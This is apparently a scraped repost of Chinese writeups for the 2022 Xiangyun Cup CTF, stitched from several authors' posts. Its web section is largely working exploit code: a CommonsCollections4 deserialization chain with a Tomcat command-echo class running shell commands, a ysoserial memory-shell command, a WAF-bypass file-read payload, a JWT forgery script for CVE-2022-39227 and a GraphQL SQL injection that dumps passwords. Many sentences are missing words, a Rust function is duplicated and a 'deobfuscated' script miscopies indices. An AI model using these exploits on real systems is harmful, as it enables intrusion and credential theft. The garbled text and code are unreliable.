祥云杯2022 writeup - 渗透测试中心

祥云杯2022 writeup - 渗透测试中心
2022-11-2 17:22:0 Author: www.cnblogs.com(查看原文) 阅读量:55 收藏

下载源码对jar文件进行反编译,发现会出现反序列化漏洞

util ,最后好像没用到

检查程序，发现的而且其反序列化利用类未被

一眼看到 commons-collection4-4.0, 于是直接用 ysoserial 打

考点发现就是

附上文章

外加网上有现成的

造轮子！ :

package moe.orangemc; 
 
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; 
import javassist.ClassPool; 
import javassist.CtClass; 
import org.apache.commons.collections4.Transformer; 
import org.apache.commons.collections4.comparators.TransformingComparator; 
import org.apache.commons.collections4.functors.ChainedTransformer; 
import org.apache.commons.collections4.functors.ConstantTransformer; 
import org.apache.commons.collections4.functors.InstantiateTransformer; 
 
import javax.xml.transform.Templates; 
import java.io.ByteArrayInputStream; 
import java.io.ByteArrayOutputStream; 
import java.io.ObjectInputStream; 
import java.io.ObjectOutputStream; 
import java.lang.reflect.Field; 
import java.util.Base64; 
import java.util.PriorityQueue; 
 
public class Main { 
    public static void main(String[] args) { 
        try { 
            ClassPool classPool = ClassPool.getDefault(); 
            CtClass ctClass = classPool.getCtClass("Meow"); 
            byte[] bytes = ctClass.toBytecode(); 
            TemplatesImpl templates = new TemplatesImpl(); 
            Field f1 = templates.getClass().getDeclaredField("_name"); 
            Field f2 = templates.getClass().getDeclaredField("_bytecodes"); 
            f1.setAccessible(true); 
            f2.setAccessible(true); 
            f1.set(templates, "Meow"); 
            f2.set(templates, new byte[][]{bytes}); 
            Transformer<Class<?>, Object> chainedTransformer = new ChainedTransformer(new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})); 
            TransformingComparator<Class<?>, Object> transformingComparator = new TransformingComparator<>(chainedTransformer); 
            PriorityQueue<Integer> queue = new PriorityQueue<>(2); 
            queue.add(1); 
            queue.add(1); 
            Field f = queue.getClass().getDeclaredField("comparator"); 
            f.setAccessible(true); 
            f.set(queue, transformingComparator); 
            Field f3 = queue.getClass().getDeclaredField("queue"); 
            f3.setAccessible(true); 
            f3.set(queue, new Object[] {chainedTransformer, chainedTransformer}); 
 
            ByteArrayOutputStream baos = new ByteArrayOutputStream(); 
            ObjectOutputStream oos = new ObjectOutputStream(baos); 
            oos.writeObject(queue); 
            oos.close(); 
            String result = new String(Base64.getEncoder().encode(baos.toByteArray())); 
            System.out.println(result); 
        } catch (Exception e) { 
            e.printStackTrace(); 
        } 
    } 
}

根据上文代码，发现无法回显，但根据百度发现可以利用的进行回显，同时程序包里有这个类库:

编写恶意类：

import com.sun.org.apache.xalan.internal.xsltc.DOM; 
import com.sun.org.apache.xalan.internal.xsltc.TransletException; 
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 
 
public class Meow extends AbstractTranslet { 
 
    public Meow() { 
        super(); 
        this.namesArray = new String[]{"meow"}; 
        try { 
 
            java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context"); 
            java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service"); 
            java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req"); 
            java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null); 
            contextField.setAccessible(true); 
            serviceField.setAccessible(true); 
            requestField.setAccessible(true); 
            getHandlerMethod.setAccessible(true); 
            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = 
                    (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); 
            org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext()); 
            org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext); 
            org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors(); 
            for (int i=0;i<connectors.length;i++) { 
                if (4==connectors[i].getScheme().length()) { 
                    org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler(); 
                    if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) { 
                        Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses(); 
                        for (int j = 0; j < classes.length; j++) { 
                            if (52 == (classes[j].getName().length())||60 == (classes[j].getName().length())) { 
                                System.out.println(classes[j].getName()); 
                                java.lang.reflect.Field globalField = classes[j].getDeclaredField("global"); 
                                java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors"); 
                                globalField.setAccessible(true); 
                                processorsField.setAccessible(true); 
                                org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler,null)); 
                                java.util.List list = (java.util.List) processorsField.get(requestGroupInfo); 
                                for (int k = 0; k < list.size(); k++) { 
                                    org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k)); 
                                    System.out.println(tempRequest.getHeader("tomcat")); 
                                    org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1); 
                                    String cmd = "" + "cat /flag" +""; 
                                    String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; 
                                    java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 
                                    java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\n"); 
                                    String output = s.hasNext() ? s.next() : ""; 
                                    java.io.Writer writer = request.getResponse().getWriter(); 
                                    java.lang.reflect.Field usingWriter = request.getResponse().getClass().getDeclaredField("usingWriter"); 
                                    usingWriter.setAccessible(true); 
                                    usingWriter.set(request.getResponse(), Boolean.FALSE); 
                                    writer.write(output); 
                                    writer.flush(); 
                                    break; 
                                } 
                                break; 
                            } 
                        } 
                    } 
                    break; 
                } 
 
 
            } 
 
 
        } catch (Exception e) { 
 
        } 
    } 
 
    @Override 
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 
 
    } 
 
    @Override 
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 
 
    } 
}

绕了一圈又找到了 Y4er 师傅的 ysoserial 修改版

https://github.com/Y4er/ysoserial

又试了下 cc4 结合 TomcatCmdEcho 内存马

java -jar ysoserial-main-1736fa42da-1.jar CommonsCollections4 "CLASS:TomcatCmdEcho" | base64

发包时注意把 Content-Type 删掉

第二次发送的时候成功执行了命令

查看 flag

后来想了想题目机器应该是不出网的, 一开始 cc2 的报错其实对于 rce 来说不影响, 结果后来换了个内存马的 payload 就成功了

不过 java 内存马目前还没怎么研究, 找个时间仔细看一下

把我们所有的东西组合起来，即可获得，但是注意要把最后的回车删掉，不然无法反序列化,然后就得到 .

得到源代码

通过源码可以看到路由分别有三个

并且可以通过源码知道我们操作的地方再并且定义了直接传再

其实这个就是利用的函数，这个刷过的同学都知道，可以读文件

const express = require('express');
const app = express();
const bodyParser = require("body-parser")
const fs = require("fs")
app.use(bodyParser.text({type: '*/*'}));
const {  execFileSync } = require('child_process');

app.post('/readfile', function (req, res) {
    let body = req.body.toString();
    let file_to_read = "app.js";
    const file = execFileSync('/app/rust-waf', [body], {
        encoding: 'utf-8'
    }).trim();
    try {
        file_to_read = JSON.parse(file)
    } catch (e){
        file_to_read = file
    }
    let data = fs.readFileSync(file_to_read);
    res.send(data.toString());
});

app.get('/', function (req, res) {
    res.send('see `/src`');
});



app.get('/src', function (req, res) {
    var data = fs.readFileSync('app.js');
    res.send(data.toString());
});

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

代码比较简单，重点就是在目录下读取文件，而会直接从获取文件名，测试读取成功

但是读取的时候没有成功，返回了的代码。可以发现如果中包含或者就会直接返回文件内容，如果绕过了再判断如果是格式，那么是否存在为，如果存在也直接返回文件内容

use std::env;
use serde::{Deserialize, Serialize};
use serde_json::Value;
static BLACK_PROPERTY: &str = "protocol";
#[derive(Debug, Serialize, Deserialize)]
struct File{
    #[serde(default = "default_protocol")]
    pub protocol: String,
    pub href: String,
    pub origin: String,
    pub pathname: String,
    pub hostname:String
    }
pub fn default_protocol() -> String {
    "http".to_string()
}
//protocol is default value,can't be customized
pub fn waf(body: &str) -> String {
    if body.to_lowercase().contains("flag") ||
    body.to_lowercase().contains("proc"){
        return String::from("./main.rs");
        }

//protocol is default value,can't be customized
pub fn waf(body: &str) -> String {
    if body.to_lowercase().contains("flag") ||
    body.to_lowercase().contains("proc"){
        return String::from("./main.rs");
        }
        if let Ok(json_body) = serde_json::from_str::<Value>(body) {
            if let Some(json_body_obj) = json_body.as_object() {
                if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) {
                    return String::from("./main.rs");
                }
            }
            if let Ok(file) = serde_json::from_str::<File>(body) {
                return serde_json::to_string(&file).unwrap_or(String::from("./main.rs"));
            }
        } else{
//body not json
            return String::from(body);
        }
        return String::from("./main.rs");
    }
    fn main() {
        let args: Vec<String> = env::args().collect();
        println!("{}", waf(&args[1]));
}

发现的某道题和这道题类似，也是绕过

链接

链接2

将以格式传，但是这里用到的中存在导致能检测到，要利用绕过。

最终 :

{"hostname":"","pathname":"/fl%61g","protocol":"file:","origin":"fuckyou","pr\ud800otocol":"file:","href":"fuckyou"}

得到

赶在题目环境关闭前问了下学长思路然后复现了一波

题目存在 jwt, 用的是 python-jwt 库最近的漏洞 CVE-2022-39227

https://github.com/davedoesdev/python-jwt/commit/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9

具体的 exp 在 commit 记录里面, 需要自己手动改

from datetime import timedelta
from json import loads, dumps
from jwcrypto.common import base64url_decode, base64url_encode

def topic(topic):
    """ Use mix of JSON and compact format to insert forged claims including long expiration """
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    parsed_payload['is_admin'] = 1
    parsed_payload['exp'] = 2000000000
    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
    return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
token = topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxMzcwMzAsImlhdCI6MTY2NzEzNjczMCwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiJ4YWxlR2dadl9BbDBRd1ZLLUgxb0p3IiwibmJmIjoxNjY3MTM2NzMwLCJwYXNzd29yZCI6IjEyMyIsInVzZXJuYW1lIjoiMTIzIn0.YnE5tK1noCJjultwUN0L1nwT8RnaU0XjYi5iio2EgbY7HtGNkSy_pOsnRl37Y5RJvdfdfWTDCzDdiz2B6Ehb1st5Fa35p2d99wzH4GzqfWfH5zfFer0HkQ3mIPnLi_9zFiZ4mQCOLJO9RBL4lD5zHVTJxEDrESlbaAbVOMqPRBf0Z8mon1PjP8UIBfDd4RDlIl9wthO-NlNaAUp45woswLe9YfRAQxN47qrLPje7qNnHVJczvvxR4-zlW0W7ahmYwODfS-KFp8AC80xgMCnrCbSR0_Iy1nsiCEO8w2y3BEcqvflOOVt_lazJv34M5e28q0czbLXAETSzpvW4lVSr7g')
print(token)

这里注册一个 123/123 用户, 然后用网站给的 token 来打

注意 parsed_payload['is_admin'] = 1 里面的 1 必须是 int 类型

之后直接把输出复制到 cookie 里, 再访问 /getflag

提示需要 admin password, 于是点击查看成绩, 发现是 graphql 查询

参考文章

https://hwlanxiaojun.github.io/2020/04/14/当CTF遇上GraphQL的那些事/

https://threezh1.com/2020/05/24/GraphQL漏洞笔记及案例/

根据输出的意思, 改成 getscoreusingid

graphql 其实就是在后端和数据库中间加了一层, 类似的也有 sql 注入

id 处不能直接注入, 限制死了是 int 类型, 猜测可能也有 getscoreusingname

改成 getscoreusingnamehahaha

union 注入, 试了一圈后发现是 sqlite 数据库, 在 sqlite_master 表中查到表名为 users, 然后猜字段为 password

{ getscoreusingnamehahaha(name: "1' union select group_concat(password) from users --"){ name score } }

拿着 admin 的密码去登录, 点击查看 flag

1.0o0o0

文件尾是pk，然后伪加密可以解开

图片[1]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

一个混淆脚本，要解混淆

from secret import o0o0o0_formula


o0000o0000 = np.float32(cv2.imread('0000.bmp', 0))
o0000o0000o = np.float32(cv2.imread('oooo.bmp', 0))
o0o0o0o0o0 = o0000o0000


for i in range(o0000o0000.shape[0]//8):  # 0-64
    for j in range(o0000o0000.shape[1]//8):  # 0-64
        o0oo000oo0 = int(o0000o0000.shape[0] / 8)
        o000000000 = int(o0000o0000.shape[1] / 8)
        o0000000000 = o0000o0000o.shape[0] * o0000o0000o.shape[1]
        o0ooooooo0 = math.ceil(o0000000000 / (o0oo000oo0 * o000000000))
        o00o0o0o00 = cv2.dct(o0000o0000[8*i:8*i+8, 8*j:8*j+8])
        for ooooooooo in range(o0ooooooo0):
            x, y = o0ooooooo0-ooooooooo, o0ooooooo0+ooooooooo
            o000ooo000 = o00o0o0o00[x, y]
            o0o0o0o0o0o = o00o0o0o00[8 - x, 8 - y]
            oo0o0 = secret([i, ooooooooo, random.randint(0, 10)])
            oo000 = secret([j, ooooooooo, random.randint(0, 10)])
            if o000ooo000 <= o0o0o0o0o0o:
                o0oo000oo0oo = random.randint(24, 36)
            else:
                o0oo000oo0oo = random.randint(-24, -12)
            o00o0o0o00[8-x, 8-y] = float(o0oo000oo0oo)
            o00o0o0o00[x, y] += float((o0000o0000o[oo0o0][oo000] - 128)*2)
        o0o0o0o0o0[8*i:8*i+8, 8*j:8*j+8] = cv2.idct(o00o0o0o00)


cv2.imwrite("0o0o0.bmp", o0o0o0o0o0)

实际上就是照着把变量换一便就行了，大概这样

import secrets
import numpy as np


img = np.float32(cv2.imread('0000.bmp', 0))
water = np.float32(cv2.imread('oooo.bmp', 0))


pic = img


for i in range(img.shape[0]//8):
    for j in range(img.shape[1]//8):
        a = int(img.shape[0] / 8)
        b = int(img.shape[1] / 8)
        num = water.shape[0] * water.shape[1]
        r = math.ceil(num / (a * b))
        dct = cv2.dct(img[8*i:8*i+8, 8*j:8*j+8])
        for m in range(r):
            rx,ry = r-m,r+m
            r1 = dct[rx,ry]
            r2 = dct[8-rx,8-ry]
            n1 = secret([i,m, random.randint(0, 10)])
            n2 = secret([i,m, random.randint(0, 10)])
            if r1<=r2:
                k = random.randint(24,36)
            else:
                k =  random.randint(-24, -12)
            
            dct[8-rx,8-ry] = float(k)
            dct[rx,ry] += float((water[m][m] - 128)*2)
        pic[8*i:8*i+8, 8*j:8*j+8] = cv2.idct(dct)
    
cv2.imwrite("0o0o0.bmp", pic)

ok，然后看看代码，

首先coploit非常牛逼，直接自动补全是dct域变换相关了，所以说这里直接也不用去想是什么算法相关了，网上脚本不太行，搜了下相关论文，还可以

一种基于DCT理论的空域数字水印算法-DAS算法 – 百度学术 (baidu.com)

然后具体更多细节内容在secert中，这里我们要结合论文内容进行分析

过一遍，r=4，然后把128的内容写入512内，之后进行8×8的分块，然后每个块需要4像素才可以全部隐藏。

计算获得

n1 = i*2+m*2

n2 = j*2+m//2

编写dct空域解密脚本

import numpy as np
import cv2 
from PIL import Image


img1 = cv2.imread('0o0o0.bmp')
img1 = img1.astype('float32')
img2 = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY)
w,h = 128,128


r = 4  


water = Image.new('L', (w, h), 255)


res = []


a = int(img2.shape[0] / 8)
b = int(img2.shape[1] / 8)


for i in range(a):
    for j in range(b):
        dct = cv2.dct(img2[8*i:8*i+8, 8*j:8*j+8])
        for m in range(r):
            rx,ry = 4-m,4+m
            r1 = dct[rx,ry]
            r2 = dct[7-rx,7-ry]
            if r1>r2:
                water.putpixel((i*2+m%2,j*2+m//2),0)
                res.append(0)
            else:
                water.putpixel((i*2+m%2,j*2+m//2),255)
                res.append(1)


print(res)
water.show()

获得图片

读取，转ascii码，发现结果不对，尝试xor了一下0xff，获得flag

from PIL import Image


im = Image.open("water.bmp")
im = im.convert("L")
w,h = im.size
flag = []


k = 0
for i in range(h):
    for j in range(w):
        if im.getpixel((j,i)) != 255:
            k += 1
        else:
            flag.append(k)
            k = 1


for i in flag:
  print(chr(i^0xff),end="")

2.strange_forensics

linux内存取证，基本上strings都能做，一步一步来

直接strings flag，发现了flag3

图片[3]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

flag1说是用户的密码，总所周知linux密码存在/etc/shadow文件内，当然字符串那么多也不怎么好找，还是看看，随处可见的bob

图片[4]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

那么bob也肯定就是明文存储在shadow里面了，看看shadow文件结构

图片[5]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

用户名后跟冒号加$符号，直接搜索

图片[6]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

找到了，直接丢入cmd5查询，获得flag1 890topico

然后flag2是个问题，继续寻找，尝试搜索Desktop等关键字，发现盲点，一个secret.zip的文件

图片[7]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

010搜索zip的文件头，翻到最后发现了zip文件。

图片[8]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

提取出来，是个伪解密，改下加密头00-》09进行爆破，

图片[9]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

最后获得密码123456

图片[10]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

拼接起来，最终flag

890topico_y0u_Ar3_tHe_LInUx_forEnsIcS_MASTER

补充

实际上使用vol做map解出来的捏，可惜查找文件效率实属感人，

写wp就懒得再做一遍了，strings大法好

图片[11]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

3.lena

水印，宇宙无敌超级大套娃，把关键内容基本都加了备注，混淆就是审计起来麻烦，其他的也没什么了，备注好各个功能就行，反正都是套娃，相互调用就行了，该题目使用的混淆工具

Oxyry Python Obfuscator – The most reliable python obfuscator in the world

import cv2
import pywt
import numpy as np
from reedsolo import RSCodec


#猫眼变换
def a(OO0O000OO00OO000O, O0O00OOOOO0OO0O0O):
    O000O0O0OOOOOO0OO, OO0000OOO0O0OOOOO, OOOOOOOOO00000OO0 = O0O00OOOOO0OO0O0O
    O0OO0OOO0OO0O0O0O = np.zeros(OO0O000OO00OO000O.shape)
    OO0OO0OOO0O0O0OOO, O00OO00OO0O000OOO = OO0O000OO00OO000O.shape[:2]
    for OOOO00O0O000O0O00 in range(O000O0O0OOOOOO0OO):
        for O0O00OO0000000000 in range(OO0OO0OOO0O0O0OOO):
            for O0OO0OO00OO0O00O0 in range(O00OO00OO0O000OOO):
                O00O00O00OOOOO000 = (O0OO0OO00OO0O00O0 +
                                     OO0000OOO0O0OOOOO * O0O00OO0000000000) % O00OO00OO0O000OOO
                OOO00000OOO0O0O00 = (
                    OOOOOOOOO00000OO0 * O0OO0OO00OO0O00O0 +
                    (OO0000OOO0O0OOOOO * OOOOOOOOO00000OO0 + 1) * O0O00OO0000000000) % OO0OO0OOO0O0O0OOO
                O0OO0OOO0OO0O0O0O[OOO00000OOO0O0O00, O00O00O00OOOOO000] = OO0O000OO00OO000O[O0O00OO0000000000,
                                                                                            O0OO0OO00OO0O00O0]
        OO0O000OO00OO000O = O0OO0OOO0OO0O0O0O.copy()
    return O0OO0OOO0OO0O0O0O


#b,分块,与c对应
def b(OO0O0OOO0OOOOOO00, O00OOOO0OOOOO0O00):
    O0OO00O00OO0OOO0O, O0O00O0O0OOOOOO0O = OO0O0OOO0OOOOOO00.shape[:2]
    OOO0000O0OOO00O0O, O0O0O0O0O0000OO00 = O00OOOO0OOOOO0O00
    OOO0OO0O00O0OO0OO = (O0OO00O00OO0OOO0O // OOO0000O0OOO00O0O, O0O00O0O0OOOOOO0O // O0O0O0O0O0000OO00,
                         OOO0000O0OOO00O0O, O0O0O0O0O0000OO00)
    O0OO0OOO0OOOO0O00 = OO0O0OOO0OOOOOO00.itemsize * np.array(
        [O0O00O0O0OOOOOO0O * OOO0000O0OOO00O0O, O0O0O0O0O0000OO00, O0O00O0O0OOOOOO0O, 1])
    OO0OO0O0OO0OO0O0O = np.lib.stride_tricks.as_strided(OO0O0OOO0OOOOOO00, OOO0OO0O00O0OO0OO,
                                                        O0OO0OOO0OOOO0O00).astype('float64')
    OO0OO0O0OO0OO0O0O = np.reshape(
        OO0OO0O0OO0OO0O0O,
        (OOO0OO0O00O0OO0OO[0] * OOO0OO0O00O0OO0OO[1], OOO0000O0OOO00O0O, O0O0O0O0O0000OO00))
    return OO0OO0O0OO0OO0O0O


#c 合块,与b对应
def c(O0O0OOOO0O0O00O0O, OOO0OO000O0000O00):
    O0O0O0O00OO0O0O00, OO000O00O0000O000 = OOO0OO000O0000O00[:2]
    OOOOO0000O0OO00OO, OOOO00O0OOO0000O0 = O0O0OOOO0O0O00O0O.shape[-2:]
    OOO0O000O0O0O00OO = (O0O0O0O00OO0O0O00 // OOOOO0000O0OO00OO, OO000O00O0000O000 // OOOO00O0OOO0000O0,
                         OOOOO0000O0OO00OO, OOOO00O0OOO0000O0)
    O0O0OOOO0O0O00O0O = np.reshape(O0O0OOOO0O0O00O0O, OOO0O000O0O0O00OO)
    OOOOO00O0O00OO00O = []
    for OO00OOO0O0O0OOO00 in O0O0OOOO0O0O00O0O:
        OOOOO00O0O00OO00O.append(np.concatenate(OO00OOO0O0O0OOO00, axis=1))
    OO00O0OO0O000OOOO = np.concatenate(OOOOO00O0O00OO00O, axis=0)
    return OO00O0OO0O000OOOO


#二值化用,
def d(OO00OOOO00000O000):
    O0O0000000000O00O = ((OO00OOOO00000O000 > 128) * 255).astype('uint8')
    return O0O0000000000O00O


#套娃变换,μ律
def e(O0OO0OOOOO0O00OOO, O000O0O0O0O00O0O0, O0OOOOOO00OO00O0O):
    return np.log(1 + O0OOOOOO00OO00O0O *
                  (np.abs(O0OO0OOOOO0O00OOO) / O000O0O0O0O00O0O0)) / np.log(1 + O0OOOOOO00OO00O0O)


#套娃里面的μ律逆变换
def f(O0O0OO0O0O000O0O0, OOOO0000O0OOOOO00, OOOO0OOO00O0OO00O):
    return (OOOO0000O0OOOOO00 / OOOO0OOO00O0OO00O) * (np.power(1 + OOOO0OOO00O0OO00O, np.abs(O0O0OO0O0O000O0O0)) - 1
                                                      )


#也是套娃的,QIM
def g(O0O0O0OO0OO00O000, O0O0O00O00000OO00, O0O0000O000OO00OO):
    O000O000OOOOO0OOO = (np.round(O0O0O0OO0OO00O000 * 1000 / O0O0000O000OO00OO) * O0O0000O000OO00OO +
                         (-1)**(O0O0O00O00000OO00 + 1) * O0O0000O000OO00OO / 4.) / 1000
    return O000O000OOOOO0OOO


class Watermark:


    def __init__(O0O0OOO0O0O000000, OO00OO0OO0OO00000):
        #初始变量定义,都是self
        O0O0OOO0O0O000000.block_shape = 4
        O0O0OOO0O0O000000.arnold_factor = (6, 20, 22)
        O0O0OOO0O0O000000.rsc_factor = 100
        O0O0OOO0O0O000000.mu_law_mu = 100
        O0O0OOO0O0O000000.mu_law_X_max = 8000
        O0O0OOO0O0O000000.delta = 15
        O0O0OOO0O0O000000.carrier = OO00OO0OO0OO00000.astype('float32')
        O00O00OOOOO0000O0, OO0OO0OO0OO0O0O0O = O0O0OOO0O0O000000.carrier.shape[:2]
        O0O0OOO0O0O000000.carrier_cA_height = O00O00OOOOO0000O0 // 2
        O0O0OOO0O0O000000.carrier_cA_width = OO0OO0OO0OO0O0O0O // 2
        O0O0OOO0O0O000000.watermark_height = O0O0OOO0O0O000000.carrier_cA_height // O0O0OOO0O0O000000.block_shape
        O0O0OOO0O0O000000.watermark_width = O0O0OOO0O0O000000.carrier_cA_width // O0O0OOO0O0O000000.block_shape
        O0O0OOO0O0O000000.max_bits_size = O0O0OOO0O0O000000.watermark_height * O0O0OOO0O0O000000.watermark_width
        O0O0OOO0O0O000000.max_bytes_size = O0O0OOO0O0O000000.max_bits_size // 8
        O0O0OOO0O0O000000.rsc_size = len(
            RSCodec(O0O0OOO0O0O000000.rsc_factor).encode(b'\x00' * O0O0OOO0O0O000000.max_bytes_size))
    #补数
    def h(OOO0O00OOOOOO0O00, O00O0OOOO00OOO0O0):
        OO00O0O0O0O0000OO = (O00O0OOOO00OOO0O0 % 2).flatten()
        if len(OO00O0O0O0O0000OO) < OOO0O00OOOOOO0O00.max_bits_size:
            OO00O0O0O0O0000OO = np.hstack(
                (OO00O0O0O0O0000OO,
                 np.zeros(OOO0O00OOOOOO0O00.max_bits_size - len(OO00O0O0O0O0000OO)))).astype('uint8')
        return OO00O0O0O0O0000OO


    #字节压缩转换
    def i(O00O0OOO0O00O0O0O, O0O0O00O00OO0O0OO):
        OOOO0OOO00O00OOOO = np.packbits(O0O0O00O00OO0O0OO).tobytes()
        return OOOO0OOO00O00OOOO


    #字节解压转换
    def j(O0O0O0O0O0O00000O, O0O00OOO00000O000):
        OOO0OOOO0O000O0OO = np.unpackbits(np.frombuffer(O0O00OOO00000O000, dtype='uint8'))
        if len(OOO0OOOO0O000O0OO) < O0O0O0O0O0O00000O.max_bits_size:
            OOO0OOOO0O000O0OO = np.hstack(
                (OOO0OOOO0O000O0OO,
                 np.zeros(O0O0O0O0O0O00000O.max_bits_size - len(OOO0OOOO0O000O0OO)))).astype('uint8')
        return OOO0OOOO0O000O0OO


    #屎山套娃...上面的efg都在里面.
    def k(OO00000O0OO0OO000, OOOOOOO00O00O0OO0, OOO00OO0O0OO0OOOO):
        O00O0OOO00OO0OO00 = OOOOOOO00O00O0OO0.copy()
        for OO000000O00OOO0O0, OO00O0000000OO0OO in enumerate(OOOOOOO00O00O0OO0):
            OO0OO0OOO0OOOOOO0 = OOO00OO0O0OO0OOOO[OO000000O00OOO0O0]
            O0OO00OO000000O0O = cv2.dct(OO00O0000000OO0OO)
            OOO000O000OO00OOO, OO00OOO000000OOO0, OO0OO0OOOO000OO0O = np.linalg.svd(O0OO00OO000000O0O)
            OO0000O0O000OO0OO = np.max(OO00OOO000000OOO0)
            OOO0O00OOOO0O0OO0 = e(OO0000O0O000OO0OO, OO00000O0OO0OO000.mu_law_X_max,
                                  OO00000O0OO0OO000.mu_law_mu)
            OOOO0OOO0O0OOO00O = g(OOO0O00OOOO0O0OO0, OO0OO0OOO0OOOOOO0, OO00000O0OO0OO000.delta)
            O00OOOOOOO0OO0OO0 = f(OOOO0OOO0O0OOO00O, OO00000O0OO0OO000.mu_law_X_max,
                                  OO00000O0OO0OO000.mu_law_mu)
            for O0O0O0OOO00O00OOO in range(OO00000O0OO0OO000.block_shape):
                if OO00OOO000000OOO0[O0O0O0OOO00O00OOO] == OO0000O0O000OO0OO:
                    OO00OOO000000OOO0[O0O0O0OOO00O00OOO] = O00OOOOOOO0OO0OO0
            O0OO0O0OOOOOO000O = np.dot(np.dot(OOO000O000OO00OOO, np.diag(OO00OOO000000OOO0)),
                                       OO0OO0OOOO000OO0O)
            O0OOO0O0O00OOO000 = cv2.idct(O0OO0O0OOOOOO000O)
            O00O0OOO00OO0OO00[OO000000O00OOO0O0] = O0OOO0O0O00OOO000
        return O00O0OOO00OO0OO00


        #关键内容,最终变换....
    def l(OOOOOOOO0OO00OOO0, O0O00O000OOO000OO):
        OOOO0O0OO0O000O00 = a(O0O00O000OOO000OO, OOOOOOOO0OO00OOO0.arnold_factor)#猫眼变换
        OOO00OO0000O0O0OO = d(OOOO0O0OO0O000O00)                                 #进行二值化
        O00O0OO0000OOOOO0 = OOOOOOOO0OO00OOO0.h(OOO00OO0000O0O0OO)              #补
        OO0000O000000O0OO = OOOOOOOO0OO00OOO0.i(O00O0OO0000OOOOO0)              #转换为字节
        OO00OOO0O0OO000OO = RSCodec(OOOOOOOO0OO00OOO0.rsc_factor)               #纠错
        O0O00OO0OO000OO0O = bytes(OO00OOO0O0OO000OO.encode(OO0000O000000O0OO)) #编码,转字节
        OOOOO0OOOOOO00OOO = OOOOOOOO0OO00OOO0.j(O0O00OO0OO000OO0O[:OOOOOOOO0OO00OOO0.max_bytes_size]) #压缩数组
        O0OO0OOO0000OO0OO = OOOOOOOO0OO00OOO0.j(O0O00OO0OO000OO0O[OOOOOOOO0OO00OOO0.max_bytes_size:])   #压缩数组
        O0OO0O00OO0000OOO = cv2.cvtColor(OOOOOOOO0OO00OOO0.carrier, cv2.COLOR_BGR2YCrCb)    #转换为YCrCb
        OOO000O00O000OO0O, OO0OO0O0OOOOOOO00, OO0OO0OO000OOO000 = cv2.split(O0OO0O00OO0000OOO)  #分离通道
        O000O00OO0O00000O, O00OO0OOO0O0OO000 = pywt.dwt2(OO0OO0O0OOOOOOO00, 'haar')      #小波变换
        O0O0O00OOOO00OO00, OOOOO00000000OO0O = pywt.dwt2(OO0OO0OO000OOO000, 'haar')         #小波变换
        OO0OOO0OOO00OO0O0 = b(O000O00OO0O00000O,
                              (OOOOOOOO0OO00OOO0.block_shape, OOOOOOOO0OO00OOO0.block_shape)) #分块
        O0OO000OOO0OO0000 = b(O0O0O00OOOO00OO00,
                              (OOOOOOOO0OO00OOO0.block_shape, OOOOOOOO0OO00OOO0.block_shape))   #分块
        O00000OO0O00O0O0O = OOOOOOOO0OO00OOO0.k(OO0OOO0OOO00OO0O0, OOOOO0OOOOOO00OOO)   #DCT套娃变换
        O000OOOO0000OOO00 = c(O00000OO0O00O0O0O,
                              (OOOOOOOO0OO00OOO0.carrier_cA_height, OOOOOOOO0OO00OOO0.carrier_cA_width)) #合块
